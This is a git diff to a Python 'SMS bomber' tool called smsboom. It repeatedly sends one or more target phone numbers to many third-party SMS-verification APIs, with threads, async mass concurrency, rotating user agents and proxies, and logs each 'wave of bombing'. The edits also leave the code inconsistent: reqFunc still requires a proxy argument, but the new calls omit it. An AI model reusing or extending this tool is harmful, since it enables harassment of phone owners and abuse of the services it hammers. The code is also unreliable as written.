diff --git a/.gitignore b/.gitignore index 68bc17f..042ced0 100755 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,6 @@ +# owner +git-filter-repo.py +replacements.txt # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] diff --git a/celery_server/tasks.py b/celery_server/tasks.py new file mode 100644 index 0000000..dd7de2f --- /dev/null +++ b/celery_server/tasks.py @@ -0,0 +1,9 @@ +from .celery import app +from .celery import logger +import time + +@app.task +def test(x, y): + logger.info("开始执行 test() 方法") + time.sleep(5) + logger.info("test() 方法执行成功") \ No newline at end of file diff --git a/smsboom.py b/smsboom.py index ffafa28..75d5729 100755 --- a/smsboom.py +++ b/smsboom.py @@ -11,7 +11,9 @@ import asyncio import click import httpx + from utils import default_header_user_agent + from utils.log import logger from utils.models import API from utils.req import reqFunc, runAsync @@ -109,11 +111,18 @@ def run(thread: int, phone: Union[str, tuple], frequency: int): # for api_get in _api_get: # _process = pool.submit(reqFunc, api_get, phone, proxy) for api in _api: - _process = pool.submit(reqFunc, api, phone, proxy) - # 在这里设置List后使用for _p in list, _p.result()会报错, 故限定最后一个 - _process.result() - logger.success(f"第{i}波轰炸 - 代理:" + proxy['all://'] + " 轰炸完成,准备进行下一步操作...") - logger.success(f"第{i}波轰炸结束!") + + pool.submit(reqFunc, api, phone) + for api_get in _api_get: + pool.submit(reqFunc, api_get, phone) + logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") + time.sleep(interval) + else: + for api in _api: + pool.submit(reqFunc, api, phone) + for api_get in _api_get: + pool.submit(reqFunc, api_get, phone) + @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) @@ -122,8 +131,10 @@ def asyncRun(phone): """以最快的方式请求接口(真异步百万并发)""" _api = load_json() _api_get = load_getapi() + apis = _api + _api_get + loop = asyncio.get_event_loop() loop.run_until_complete(runAsync(apis, phone)) @@ -134,8 +145,10 @@ def oneRun(phone): """单线程(测试使用)""" _api = load_json() _api_get = load_getapi() + apis = _api + _api_get + for api in apis: try: reqFunc(api, phone) @@ -177,5 +190,6 @@ cli.add_command(update) cli.add_command(asyncRun) cli.add_command(oneRun) + if __name__ == "__main__": cli() diff --git a/utils/__init__.py b/utils/__init__.py index bdd1712..e551a7e 100644 --- a/utils/__init__.py +++ b/utils/__init__.py @@ -1,3 +1,4 @@ + import random USER_AGENT_LIST = [ diff --git a/utils/models.py b/utils/models.py index 674f520..c3a5d98 100644 --- a/utils/models.py +++ b/utils/models.py @@ -4,15 +4,19 @@ from pydantic import BaseModel from typing import Union, Optional from datetime import datetime import json + from utils import default_header_user_agent + class API(BaseModel): """处理自定义 API 数据""" desc: str = "Default" url: str method: str = "GET" + header: Optional[Union[str, dict]] = default_header_user_agent() + data: Optional[Union[str, dict]] def replace_data(self, content: Union[str, dict], phone: str) -> str: @@ -31,7 +35,8 @@ class API(BaseModel): """返回整数字符串时间戳""" return str(int(datetime.now().timestamp())) - def handle_API(self, phone: str = None): + + def handle_API(self, phone: str=None): """ 传入手机号处理 API :param API: one API basemodel :return: API basemodel diff --git a/utils/req.py b/utils/req.py index 2985649..2f3646f 100644 --- a/utils/req.py +++ b/utils/req.py @@ -5,7 +5,9 @@ from httpx import Limits from typing import Union, List import asyncio + from utils import default_header_user_agent + from utils.models import API from utils.log import logger @@ -20,7 +22,9 @@ def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Re return resp + def reqFunc(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool: + """请求接口方法""" # 多手机号支持 if isinstance(phone, tuple): @@ -28,27 +32,33 @@ def reqFunc(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool else: phone_lst = [phone] + with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client: + for ph in phone_lst: try: if isinstance(api, API): api = api.handle_API(ph) resp = reqAPI(api, client) - logger.info(f"{api.desc}-{resp.text[:30]}-当前使用代理:{proxy['all://']}") + + logger.info(f"{api.desc}-{resp.text[:30]}") else: api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') resp = client.get(url=api, headers=default_header) - logger.info(f"GETAPI接口-{resp.text[:30]}-当前使用代理:{proxy['all://']}") + logger.info(f"GETAPI接口-{resp.text[:30]}") return True except httpx.HTTPError as why: - logger.error(f"请求失败{why}-当前使用代理:{proxy['all://']}") + logger.error(f"请求失败{why}") + return False async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore): """异步请求方法 + :param: :return: + """ # 多手机号支持 if isinstance(phone, tuple): @@ -94,7 +104,10 @@ def callback(result): logger.info(f"请求结果:{log.text[:30]}") -async def runAsync(apis: List[Union[API, str]], phone: Union[tuple, str]): + +async def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]): + + tasks = [] for api in apis: